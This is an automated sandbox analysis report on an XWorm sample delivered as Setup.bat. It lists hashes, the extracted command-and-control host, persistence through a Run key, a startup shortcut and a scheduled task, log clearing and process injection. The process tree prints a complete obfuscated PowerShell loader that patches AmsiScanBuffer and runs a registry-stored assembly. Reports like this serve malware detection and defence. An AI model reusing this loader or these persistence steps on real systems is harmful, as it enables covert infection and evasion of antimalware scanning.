Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
150s -
max time network
94s -
platform
windows11-21h2_x64 -
resource
win11-20241007-en -
resource tags
arch:x64arch:x86image:win11-20241007-enlocale:en-usos:windows11-21h2-x64system -
submitted
08/11/2024, 20:05
Static task
static1
Behavioral task
behavioral1
Sample
Setup.bat
Resource
win11-20241007-en
General
-
Target
Setup.bat
-
Size
492KB
-
MD5
334e5ed791deb37c6838e954fda616d9
-
SHA1
45519a533eedb9a5489b219069725ee884d6a662
-
SHA256
996e11e2c1ddbb5a16743fafa288e5f554cf31a295b5ff8e705af30fb690ef31
-
SHA512
88bdeb6930b66a1b86264519441207c81955183dfb5ba58705aaf9fbc2fe258dc8f13b23424596d711090380834a1354a549443d08c31b925b7a0ee9204818fc
-
SSDEEP
12288:TV1R5Ja3/QZfusZK3VX+1VbQLGwCvn0YGZdRksyp:jtoQ5ZGpIDwCvn0YQRkvp
Malware Config
Extracted
xworm
here-thinking.gl.at.ply.gg:50161
-
Install_directory
%LocalAppData%
-
install_file
WindowsSecurity.exe
Signatures
-
Detect Xworm Payload 1 IoCs
resource yara_rule behavioral1/memory/760-17-0x0000027C74520000-0x0000027C74538000-memory.dmp family_xworm -
Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
description pid Process procid_target PID 4988 created 624 4988 powershell.EXE 5 -
Xworm family
-
Blocklisted process makes network request 2 IoCs
flow pid Process 2 760 powershell.exe 4 760 powershell.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs
Run Powershell and hide display window.
pid Process 760 powershell.exe 4988 powershell.EXE 5008 powershell.exe 5104 powershell.exe 2656 powershell.exe 3640 powershell.exe -
Drops startup file 2 IoCs
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsSecurity.lnk powershell.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsSecurity.lnk powershell.exe -
Executes dropped EXE 2 IoCs
pid Process 2228 Install.exe 2360 WindowsSecurity.exe -
Indicator Removal: Clear Windows Event Logs 1 TTPs 1 IoCs
Clear Windows Event Logs to hide the activity of an intrusion.
description ioc Process File opened for modification C:\Windows\System32\Winevt\Logs\Microsoft-Windows-CloudStore%4Operational.evtx svchost.exe -
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-1537126222-899333903-2037027349-1000\Software\Microsoft\Windows\CurrentVersion\Run\WindowsSecurity = "C:\\Users\\Admin\\AppData\\Local\\WindowsSecurity.exe" powershell.exe -
Drops file in System32 directory 4 IoCs
description ioc Process File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.EXE File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log powershell.EXE File opened for modification C:\Windows\System32\Tasks\WindowsSecurity svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml OfficeClickToRun.exe -
Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 4988 set thread context of 1976 4988 powershell.EXE 88 -
System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Install.exe -
Checks processor information in registry 2 TTPs 6 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 wmiprvse.exe Key security queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 wmiprvse.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Component Information wmiprvse.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString wmiprvse.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier wmiprvse.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 wmiprvse.exe -
Modifies data under HKEY_USERS 55 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0 OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\RulesEndpoint = "https://nexusrules.officeapps.live.com/nexus/rules?Application=officeclicktorun.exe&Version=16.0.12527.20470&ClientId={393F379E-9243-4876-8596-E774536AC1F1}&OSEnvironment=10&MsoAppId=37&AudienceName=Production&AudienceGroup=Production&AppVersion=16.0.12527.20470&" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key deleted \REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR OfficeClickToRun.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.EXE Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe_queried = "1731096438" OfficeClickToRun.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe = "Fri, 08 Nov 2024 20:07:19 GMT" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections svchost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "5804129,7202269,17110992,41484365,39965824,7153487,17110988,508368333,17962391,17962392,3462423,3702920,3700754,3965062,4297094,7153421,18716193,7153435,7202265,20502174,6308191,18407617" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata OfficeClickToRun.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 10,1329 50,1329 15,1329 100,1329 6" OfficeClickToRun.exe -
Runs net.exe
-
Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 2156 schtasks.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 760 powershell.exe 760 powershell.exe 4988 powershell.EXE 4988 powershell.EXE 4988 powershell.EXE 1976 dllhost.exe 1976 dllhost.exe 1976 dllhost.exe 1976 dllhost.exe 1976 dllhost.exe 1976 dllhost.exe 1976 dllhost.exe 1976 dllhost.exe 1976 dllhost.exe 5104 powershell.exe 5104 powershell.exe 1976 dllhost.exe 1976 dllhost.exe 1976 dllhost.exe 1976 dllhost.exe 1976 dllhost.exe 1976 dllhost.exe 1976 dllhost.exe 1976 dllhost.exe 1976 dllhost.exe 1976 dllhost.exe 1976 dllhost.exe 1976 dllhost.exe 1976 dllhost.exe 2656 powershell.exe 2656 powershell.exe 1976 dllhost.exe 1976 dllhost.exe 1976 dllhost.exe 1976 dllhost.exe 1976 dllhost.exe 1976 dllhost.exe 1976 dllhost.exe 1976 dllhost.exe 1976 dllhost.exe 1976 dllhost.exe 3640 powershell.exe 1976 dllhost.exe 1976 dllhost.exe 3640 powershell.exe 1976 dllhost.exe 1976 dllhost.exe 1976 dllhost.exe 1976 dllhost.exe 1976 dllhost.exe 1976 dllhost.exe 1976 dllhost.exe 1976 dllhost.exe 5008 powershell.exe 5008 powershell.exe 1976 dllhost.exe 1976 dllhost.exe 1976 dllhost.exe 1976 dllhost.exe 1976 dllhost.exe 1976 dllhost.exe 1976 dllhost.exe 1976 dllhost.exe 1976 dllhost.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 760 powershell.exe Token: SeDebugPrivilege 4988 powershell.EXE Token: SeDebugPrivilege 4988 powershell.EXE Token: SeDebugPrivilege 1976 dllhost.exe Token: SeDebugPrivilege 5104 powershell.exe Token: SeShutdownPrivilege 3336 Explorer.EXE Token: SeCreatePagefilePrivilege 3336 Explorer.EXE Token: SeDebugPrivilege 2656 powershell.exe Token: SeShutdownPrivilege 3336 Explorer.EXE Token: SeCreatePagefilePrivilege 3336 Explorer.EXE Token: SeDebugPrivilege 3640 powershell.exe Token: SeShutdownPrivilege 3336 Explorer.EXE Token: SeCreatePagefilePrivilege 3336 Explorer.EXE Token: SeShutdownPrivilege 3336 Explorer.EXE Token: SeCreatePagefilePrivilege 3336 Explorer.EXE Token: SeShutdownPrivilege 3336 Explorer.EXE Token: SeCreatePagefilePrivilege 3336 Explorer.EXE Token: SeDebugPrivilege 5008 powershell.exe Token: SeShutdownPrivilege 3336 Explorer.EXE Token: SeCreatePagefilePrivilege 3336 Explorer.EXE Token: SeShutdownPrivilege 3336 Explorer.EXE Token: SeCreatePagefilePrivilege 3336 Explorer.EXE Token: SeAuditPrivilege 2540 svchost.exe Token: SeDebugPrivilege 760 powershell.exe Token: SeShutdownPrivilege 3336 Explorer.EXE Token: SeCreatePagefilePrivilege 3336 Explorer.EXE Token: SeShutdownPrivilege 3336 Explorer.EXE Token: SeCreatePagefilePrivilege 3336 Explorer.EXE Token: SeShutdownPrivilege 3336 Explorer.EXE Token: SeCreatePagefilePrivilege 3336 Explorer.EXE Token: SeShutdownPrivilege 3336 Explorer.EXE Token: SeCreatePagefilePrivilege 3336 Explorer.EXE Token: SeDebugPrivilege 2360 WindowsSecurity.exe Token: SeAssignPrimaryTokenPrivilege 2604 svchost.exe Token: SeIncreaseQuotaPrivilege 2604 svchost.exe Token: SeSecurityPrivilege 2604 svchost.exe Token: SeTakeOwnershipPrivilege 2604 svchost.exe Token: SeLoadDriverPrivilege 2604 svchost.exe Token: SeSystemtimePrivilege 2604 svchost.exe Token: SeBackupPrivilege 2604 svchost.exe Token: SeRestorePrivilege 2604 svchost.exe Token: SeShutdownPrivilege 2604 svchost.exe Token: SeSystemEnvironmentPrivilege 2604 svchost.exe Token: SeUndockPrivilege 2604 svchost.exe Token: SeManageVolumePrivilege 2604 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2604 svchost.exe Token: SeIncreaseQuotaPrivilege 2604 svchost.exe Token: SeSecurityPrivilege 2604 svchost.exe Token: SeTakeOwnershipPrivilege 2604 svchost.exe Token: SeLoadDriverPrivilege 2604 svchost.exe Token: SeSystemtimePrivilege 2604 svchost.exe Token: SeBackupPrivilege 2604 svchost.exe Token: SeRestorePrivilege 2604 svchost.exe Token: SeShutdownPrivilege 2604 svchost.exe Token: SeSystemEnvironmentPrivilege 2604 svchost.exe Token: SeUndockPrivilege 2604 svchost.exe Token: SeManageVolumePrivilege 2604 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2604 svchost.exe Token: SeIncreaseQuotaPrivilege 2604 svchost.exe Token: SeSecurityPrivilege 2604 svchost.exe Token: SeTakeOwnershipPrivilege 2604 svchost.exe Token: SeLoadDriverPrivilege 2604 svchost.exe Token: SeSystemtimePrivilege 2604 svchost.exe Token: SeBackupPrivilege 2604 svchost.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 760 powershell.exe -
Suspicious use of UnmapMainImage 1 IoCs
pid Process 3336 Explorer.EXE -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 1536 wrote to memory of 3924 1536 cmd.exe 80 PID 1536 wrote to memory of 3924 1536 cmd.exe 80 PID 3924 wrote to memory of 3740 3924 net.exe 81 PID 3924 wrote to memory of 3740 3924 net.exe 81 PID 1536 wrote to memory of 760 1536 cmd.exe 83 PID 1536 wrote to memory of 760 1536 cmd.exe 83 PID 760 wrote to memory of 2228 760 powershell.exe 85 PID 760 wrote to memory of 2228 760 powershell.exe 85 PID 760 wrote to memory of 2228 760 powershell.exe 85 PID 4988 wrote to memory of 1976 4988 powershell.EXE 88 PID 4988 wrote to memory of 1976 4988 powershell.EXE 88 PID 4988 wrote to memory of 1976 4988 powershell.EXE 88 PID 4988 wrote to memory of 1976 4988 powershell.EXE 88 PID 4988 wrote to memory of 1976 4988 powershell.EXE 88 PID 4988 wrote to memory of 1976 4988 powershell.EXE 88 PID 4988 wrote to memory of 1976 4988 powershell.EXE 88 PID 4988 wrote to memory of 1976 4988 powershell.EXE 88 PID 1976 wrote to memory of 624 1976 dllhost.exe 5 PID 1976 wrote to memory of 692 1976 dllhost.exe 7 PID 1976 wrote to memory of 1000 1976 dllhost.exe 12 PID 1976 wrote to memory of 464 1976 dllhost.exe 13 PID 1976 wrote to memory of 420 1976 dllhost.exe 14 PID 1976 wrote to memory of 456 1976 dllhost.exe 15 PID 1976 wrote to memory of 1040 1976 dllhost.exe 16 PID 1976 wrote to memory of 1048 1976 dllhost.exe 17 PID 1976 wrote to memory of 1168 1976 dllhost.exe 19 PID 1976 wrote to memory of 1208 1976 dllhost.exe 20 PID 1976 wrote to memory of 1260 1976 dllhost.exe 21 PID 1976 wrote to memory of 1284 1976 dllhost.exe 22 PID 1976 wrote to memory of 1336 1976 dllhost.exe 23 PID 1976 wrote to memory of 1384 1976 dllhost.exe 24 PID 1976 wrote to memory of 1408 1976 dllhost.exe 25 PID 1976 wrote to memory of 1428 1976 dllhost.exe 26 PID 1976 wrote to memory of 1456 1976 dllhost.exe 27 PID 1976 wrote to memory of 1652 1976 dllhost.exe 28 PID 1976 wrote to memory of 1716 1976 dllhost.exe 29 PID 1976 wrote to memory of 1736 1976 dllhost.exe 30 PID 1976 wrote to memory of 1808 1976 dllhost.exe 31 PID 1976 wrote to memory of 1896 1976 dllhost.exe 32 PID 1976 wrote to memory of 1956 1976 dllhost.exe 33 PID 1976 wrote to memory of 1964 1976 dllhost.exe 34 PID 1976 wrote to memory of 2012 1976 dllhost.exe 35 PID 1976 wrote to memory of 2056 1976 dllhost.exe 36 PID 1976 wrote to memory of 2140 1976 dllhost.exe 37 PID 1976 wrote to memory of 2284 1976 dllhost.exe 39 PID 1976 wrote to memory of 2388 1976 dllhost.exe 40 PID 1976 wrote to memory of 2396 1976 dllhost.exe 41 PID 1976 wrote to memory of 2436 1976 dllhost.exe 42 PID 1976 wrote to memory of 2500 1976 dllhost.exe 43 PID 1976 wrote to memory of 2540 1976 dllhost.exe 44 PID 1976 wrote to memory of 2576 1976 dllhost.exe 45 PID 1976 wrote to memory of 2596 1976 dllhost.exe 46 PID 1976 wrote to memory of 2604 1976 dllhost.exe 47 PID 1976 wrote to memory of 2628 1976 dllhost.exe 48 PID 1976 wrote to memory of 536 1976 dllhost.exe 50 PID 1976 wrote to memory of 708 1976 dllhost.exe 51 PID 1976 wrote to memory of 2496 1976 dllhost.exe 52 PID 1976 wrote to memory of 3336 1976 dllhost.exe 53 PID 1976 wrote to memory of 3452 1976 dllhost.exe 54 PID 1976 wrote to memory of 3488 1976 dllhost.exe 55 PID 1976 wrote to memory of 3928 1976 dllhost.exe 58 PID 1976 wrote to memory of 3948 1976 dllhost.exe 59 PID 1976 wrote to memory of 4020 1976 dllhost.exe 60 PID 1976 wrote to memory of 4028 1976 dllhost.exe 61 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\system32\winlogon.exewinlogon.exe1⤵PID:624
-
C:\Windows\system32\dwm.exe"dwm.exe"2⤵PID:464
-
-
C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{3f3944b6-4bf1-4a32-863b-846d0676da71}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1976
-
-
C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵PID:692
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵PID:1000
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc1⤵PID:420
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts1⤵PID:456
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService1⤵PID:1040
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc1⤵PID:1048
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule1⤵
- Drops file in System32 directory
PID:1168 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:WgzieDfqEeVX{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$YKoNZWcLftKbJV,[Parameter(Position=1)][Type]$SKUKwGlhBN)$GJPCjbTlUkb=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('Re'+[Char](102)+''+[Char](108)+'e'+[Char](99)+''+[Char](116)+''+[Char](101)+''+[Char](100)+''+[Char](68)+''+[Char](101)+'l'+[Char](101)+''+[Char](103)+'at'+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+[Char](110)+'M'+[Char](101)+''+'m'+''+'o'+''+[Char](114)+''+[Char](121)+''+[Char](77)+''+'o'+''+[Char](100)+''+'u'+''+[Char](108)+'e',$False).DefineType(''+[Char](77)+'y'+'D'+''+[Char](101)+''+[Char](108)+'e'+[Char](103)+''+'a'+'t'+[Char](101)+''+'T'+''+'y'+''+'p'+'e',''+'C'+'l'+'a'+''+[Char](115)+'s'+[Char](44)+'P'+'u'+''+[Char](98)+'l'+[Char](105)+'c'+','+''+[Char](83)+''+'e'+''+[Char](97)+''+[Char](108)+''+'e'+''+'d'+''+[Char](44)+''+'A'+'n'+[Char](115)+'iC'+'l'+''+[Char](97)+'s'+[Char](115)+''+[Char](44)+''+[Char](65)+''+'u'+''+'t'+''+'o'+''+[Char](67)+'l'+[Char](97)+''+[Char](115)+''+[Char](115)+'',[MulticastDelegate]);$GJPCjbTlUkb.DefineConstructor(''+'R'+''+'T'+''+[Char](83)+''+'p'+''+'e'+'c'+'i'+''+[Char](97)+'l'+[Char](78)+''+'a'+'m'+[Char](101)+''+','+''+[Char](72)+''+[Char](105)+''+'d'+''+[Char](101)+'B'+'y'+''+'S'+''+[Char](105)+''+[Char](103)+',P'+[Char](117)+''+'b'+''+[Char](108)+''+'i'+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$YKoNZWcLftKbJV).SetImplementationFlags(''+'R'+''+[Char](117)+'n'+'t'+''+'i'+'m'+[Char](101)+''+[Char](44)+''+[Char](77)+''+[Char](97)+''+[Char](110)+''+[Char](97)+''+'g'+''+[Char](101)+''+[Char](100)+'');$GJPCjbTlUkb.DefineMethod(''+[Char](73)+''+[Char](110)+''+'v'+'o'+'k'+''+[Char](101)+'',''+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+[Char](105)+''+[Char](99)+','+[Char](72)+''+[Char](105)+''+'d'+''+[Char](101)+''+[Char](66)+'y'+[Char](83)+''+[Char](105)+''+'g'+''+[Char](44)+'Ne'+'w'+''+'S'+''+[Char](108)+''+'o'+'t'+[Char](44)+''+[Char](86)+''+'i'+''+[Char](114)+'t'+[Char](117)+''+[Char](97)+''+'l'+'',$SKUKwGlhBN,$YKoNZWcLftKbJV).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+'n'+''+'t'+''+[Char](105)+''+[Char](109)+'e'+[Char](44)+''+[Char](77)+'a'+[Char](110)+''+[Char](97)+'g'+'e'+''+[Char](100)+'');Write-Output $GJPCjbTlUkb.CreateType();}$gSLquWfEARKTq=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+'y'+''+[Char](115)+''+'t'+''+'e'+'m.d'+[Char](108)+''+[Char](108)+'')}).GetType(''+[Char](77)+'i'+'c'+''+[Char](114)+''+[Char](111)+''+[Char](115)+''+'o'+''+[Char](102)+''+'t'+''+'.'+''+'W'+''+[Char](105)+''+[Char](110)+''+[Char](51)+'2.U'+[Char](110)+''+[Char](115)+''+[Char](97)+'f'+'e'+'Nat'+[Char](105)+'v'+[Char](101)+''+[Char](77)+''+'e'+''+'t'+''+[Char](104)+'o'+'d'+''+[Char](115)+'');$jxVcAzOUhpNtIQ=$gSLquWfEARKTq.GetMethod(''+[Char](71)+'e'+[Char](116)+'P'+'r'+''+[Char](111)+''+[Char](99)+'A'+[Char](100)+''+[Char](100)+''+[Char](114)+'es'+'s'+'',[Reflection.BindingFlags](''+[Char](80)+''+[Char](117)+''+[Char](98)+'l'+[Char](105)+''+'c'+''+[Char](44)+''+[Char](83)+''+[Char](116)+'at'+[Char](105)+''+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$CglJdYWyZmicoZiudfG=WgzieDfqEeVX @([String])([IntPtr]);$eZXGvzNswEUyBXriWoKMqT=WgzieDfqEeVX @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$kFQyuclKXlA=$gSLquWfEARKTq.GetMethod(''+[Char](71)+''+'e'+'t'+[Char](77)+''+[Char](111)+''+[Char](100)+''+[Char](117)+''+[Char](108)+''+[Char](101)+''+[Char](72)+'a'+'n'+''+[Char](100)+''+[Char](108)+''+[Char](101)+'').Invoke($Null,@([Object](''+[Char](107)+''+'e'+''+[Char](114)+''+[Char](110)+''+'e'+''+[Char](108)+''+'3'+''+[Char](50)+''+'.'+''+'d'+''+'l'+'l')));$ksbnGbxQCijLXk=$jxVcAzOUhpNtIQ.Invoke($Null,@([Object]$kFQyuclKXlA,[Object]('L'+[Char](111)+''+[Char](97)+''+[Char](100)+''+[Char](76)+''+[Char](105)+''+[Char](98)+'r'+'a'+''+[Char](114)+'yA')));$lkvEdLTtSsziDGWnK=$jxVcAzOUhpNtIQ.Invoke($Null,@([Object]$kFQyuclKXlA,[Object]('V'+[Char](105)+''+'r'+''+[Char](116)+''+[Char](117)+'a'+[Char](108)+''+'P'+'r'+[Char](111)+'t'+'e'+''+'c'+''+[Char](116)+'')));$LFhHSka=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ksbnGbxQCijLXk,$CglJdYWyZmicoZiudfG).Invoke('a'+[Char](109)+''+[Char](115)+''+[Char](105)+''+[Char](46)+'dl'+[Char](108)+'');$QJTNbEzCoNZSqQpUn=$jxVcAzOUhpNtIQ.Invoke($Null,@([Object]$LFhHSka,[Object](''+'A'+''+[Char](109)+''+[Char](115)+''+[Char](105)+''+[Char](83)+''+'c'+''+'a'+''+[Char](110)+''+[Char](66)+''+[Char](117)+''+'f'+'f'+[Char](101)+'r')));$ECVYgoVdUz=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($lkvEdLTtSsziDGWnK,$eZXGvzNswEUyBXriWoKMqT).Invoke($QJTNbEzCoNZSqQpUn,[uint32]8,4,[ref]$ECVYgoVdUz);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$QJTNbEzCoNZSqQpUn,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($lkvEdLTtSsziDGWnK,$eZXGvzNswEUyBXriWoKMqT).Invoke($QJTNbEzCoNZSqQpUn,[uint32]8,0x20,[ref]$ECVYgoVdUz);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+''+[Char](70)+''+[Char](84)+''+'W'+''+[Char](65)+''+'R'+''+[Char](69)+'').GetValue(''+'$'+''+'7'+''+[Char](55)+'s'+[Char](116)+''+'a'+''+'g'+''+[Char](101)+''+'r'+'')).EntryPoint.Invoke($Null,$Null)"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
